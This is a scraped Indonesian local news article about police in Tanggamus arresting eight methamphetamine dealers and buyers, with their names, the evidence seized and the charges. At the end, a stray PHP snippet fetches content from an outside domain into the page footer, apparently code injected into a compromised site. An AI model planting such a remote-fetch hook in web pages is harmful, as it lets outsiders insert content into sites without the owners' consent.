Satresnarkoba Polres Tanggamus Bekuk 8 Tersangka Narkotika di 3 Kecamatan

Minggu, 4 April 2021

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

Tanggamus, jejakkasus.info- penyelidikan dan pengembangan peredaran Narkotika jenis sabu, Satresnarkoba Polres Tanggamus berhasil menangkap sekaligus menangkap 8 tersangka di Kecamatan Pulau Panggung, Air Naningan dan Sumberejo, Sabtu (3/4/21).

Dari ke-8 tersangka, 3 diantaranya merupakan jaringan pengedar bernama Riki Hernando (29) warga Pekon Gunung Meraksa, Pulau Panggung, Sidik Pramono (48), Riko Fernando (21) warga Pekon Way Harong, Air Naningan.

Dari penangkapan tersebut terungkap, tersangka Sidik Pramono dan Riko Fernando merupakan ayah dan anak bersama tersangka Riki Hernando merupakan kaki tangan dari seorang bandar yang telah diketahui identitasnya.

Ketiganya ditangkap di dua tempat berbeda yakni Riki Hernando dan Riko Fernando ditangkap di sebuah gubuk perkebunan kopi di Dusun Talang Tekad Kecamatan Pulau Panggung milik bandar yang di DPO.

Dalam penangkapan keduanya petugas berhasil mengamankan barang barang bukti 21 klip berisi sabu dengan berat 2,98 gram, 2 timbangan digital, 1 senapan angin berjenis gejlug dan sejumlah alat penyalahgunaan sabu.

Lalu dari tangan Sidik Purnomo yang ditangkap saat berada di rumahnya di Pekon Way Harong petugas juga mengamankan barang bukti 6 plastik klip berisi sabu seberat 0,69 gram, 3 korek api gas tanpa tutup kepala dan 3 skop terbuat dari sedotan plastik.

Baca Juga:  Pemukulan Oknum Wartawan di Pelabuhan Gunung Sitoli Terkesan Kapos Saat Dikonfirmasi 

Dari nyanyian ketiga tersangka, bahwa mereka telah menjual sabu kepada 5 pengguna di wilayah Kecamatan Air Naningan, Pulau Panggung dan Sumberejo sehingga dilakukan penggerebekan di 3 wilayah tersebut.

Tahap awal petugas berhasil menangkap Adi Saputra (32) warga Pekon Waspada, Air Naningan dengan barang bukti plastik klip berisi sabu seberat 0,15 gram hasil pembelian kepada tersangka Riki Hernando.

Selanjutnya, petugas kembali menangkap Riyadi (27) warga Pekon Tekad, Pulau Panggung dan Aprizal (36) dengan barang bukti plastik klip bekas pakai sabu dan alat penyalahgunaan sabu yang dibeli dari tersangka Riki Hernando.

Tak berhenti disana, petugas kembali menangkap Antoni Saputra (40) warga Pekon Sumberejo Kecamatan Sumberejo dengan barang bukti plastik klip berisi 0,19 gram sabu yang diletakan di dalam bungkus rokok, dimana sabu tersebut dibelinya kepada tersangka Sidik Purnomo.

Terakhir, petugas menangkap Sunardiyanto alias Kanek (42) warga Pekon Sumberejo, Sumberejo yang merupakan resedivis kasus yang sama pada Januari 2018 dengan barang bukti pipa kaca bekas pakai dan sedotan plastik dengan sabu yang dibelinya dari tersangka Riko Fernando.

Baca Juga:  Polres Tanggamus Gelar Pasukan Operasi Zebra Krakatau 2021

Kasatresnarkoba Polres Tanggamus Iptu Deddy Wahyudi, SH. MM mengungkapkan, para tersangka ditangkap berdasarkan penyelidikan informasi peredaran gelap Narkotika di Dusun Talang Tebat Pekon Tekad, Pulau panggung Tanggamus yang dilakukan oleh tersangka Riki Fernando.

“Berdasarkan penyelidikan dan penggerebekan pertama diamankan Riki Fernando dan Riko Hernando saat berada di gubuk tersebut,” ungkap Iptu Deddy Wahyudi mewakili Kapolres Tanggamus AKBP Oni Prasetya, SIK., Minggu (4/4/21).

Sambungnya, modus operandi tersangka melayani penjualan narkotika jenis sabu di sebuah gubuk di tengah kebun kopi yang di kelilingi kawat tembaga yang dialiri aliran listrik juga disediakan senapan angin gejluk sebagai upaya perlawanan jika dilakukan penggerebekan.

“Prilaku mereka bertujuan agar petugas kesulitan saat menangkap mereka, beruntung petugas sudah mengantisipasinya sehingga tidak terhadi hal yang tidak diinginkan,” ujarnya.

Dikatakan Kasat, berdasarkan keterangan keduanya bahwa mereka ditugaskan oleh seorang bandar yang telah diketahui identitasnya sebagai pengambil barang haram tersebut di wilayah Pugung dan mengantarkan kepada pemesan bersama seorang lainnya yakni Sidik Purnomo yang merupakan ayah dari Riko Hernando.

Baca Juga:  Lewati Batas Keramaian, Polsek Talang Padang Bubarkan Orgen Tunggal di Gisting

“Berdasarkan keterangan tersebut, kemudian dilakukan pengembangan ke Air Naningan sehingga Sidik Purnomo ditangkap tanpa perlawanan,” katanya.

Kasat menambahkan, dari keterangan ketiganya selanjutnya ditangkap lima pembeli barang haram tersebut yang bernama Adi Saputra, Riyadi, Aprizal, Antoni Saputra dan Sunardiyanto.

“Kelima tersangka ditangkap di rumahnya masing-masing di Kecamatan Pulau Panggung, Air Naningan dan Sumberejo,” imbuhnya.

Kesempatan itu Kasat menegaskan, pihaknya masih melakukan pengejaran terhadap bandar bernisial D yang merupakan warga Kecamatan Pulau Panggung.

“Guna mengungkap jaringan diatasnya, saat ini masih dilakukan pengejaran terhadap bandar berinsial D,” tegasnya.

Saat ini ke delapan tersangka berikut barang bukti ditahan di Polres Tanggamus guna proses penyidikan lebih lanjut.

“Terhadap pengedar dijerat pasal 114 dan 112 UU Nomor 35 Tahun 2009 ancaman maksimal 20 tahun penjara. Terhadap pemakai dijerat pasal 127 UU Nomor 35 Tahun 2009 ancaman 4 tahun,” pungkasnya. (Bambang /Sugeng)

Follow WhatsApp Channel jejakkasus.info untuk update berita terbaru setiap hari Follow

Berita Terkait

Lapor Pak Kapolda Lampung Pemandangan Fenomena Langkanya BBM Subsidi Di SPBU 24.353.48 Candimas ,Menuai Banyak Tanda Tanya
Kakon Banjar Sari Edi Purwanto Diduga Kuat Selewengkan Dana Desa
Camat Negerikaton Diduga Langgar Netralitas ASN, Bawaslu dan Polda Lampung Serukan Tindakan Tegas
RR alias Randa, Pelaku Curat Motor dan Gas Elpiji, Diringkus Tim Unit Reskrim Polsek Sungai Selan
Siapakah Sosok PTR, IWN, AJNG yang Ditakutkan APH yang Berani Mengkordinir Tambang di Laut Kerangan dan Tembelok
Walaupun Sudah Diketahui oleh Penegak Hukum Puluhan Tambang Ilegal di Laut Kerangan, Diduga APH tidak Perduli ataukah Dugaan Ada Kordinasi yang Baik
Polda Lampung Ciduk 2 Tersangka Pengelola Situs Judi Online
Polres Pringsewu Grebek Rumah di Sukoharjo, Tangkap Pengedar Sabu dan Amankan Belasan Paket Narkoba

Berita Terkait

Jumat, 11 Oktober 2024 - 07:45 WIB

Lapor Pak Kapolda Lampung Pemandangan Fenomena Langkanya BBM Subsidi Di SPBU 24.353.48 Candimas ,Menuai Banyak Tanda Tanya

Kamis, 10 Oktober 2024 - 16:33 WIB

Kakon Banjar Sari Edi Purwanto Diduga Kuat Selewengkan Dana Desa

Sabtu, 5 Oktober 2024 - 22:39 WIB

Camat Negerikaton Diduga Langgar Netralitas ASN, Bawaslu dan Polda Lampung Serukan Tindakan Tegas

Rabu, 2 Oktober 2024 - 21:47 WIB

RR alias Randa, Pelaku Curat Motor dan Gas Elpiji, Diringkus Tim Unit Reskrim Polsek Sungai Selan

Kamis, 26 September 2024 - 13:27 WIB

Siapakah Sosok PTR, IWN, AJNG yang Ditakutkan APH yang Berani Mengkordinir Tambang di Laut Kerangan dan Tembelok

Berita Terbaru

Peristiwa

Kecelakaan Tunggal di Kota Depok, Mobil tabrak Minimarket

Rabu, 16 Okt 2024 - 14:09 WIB

Peristiwa

Dianggap Tebar Fitnah, Akun @syahwalali Resmi Dilaporkan

Rabu, 16 Okt 2024 - 13:37 WIB

$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://umrohkemenag.org/footer/'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch);?>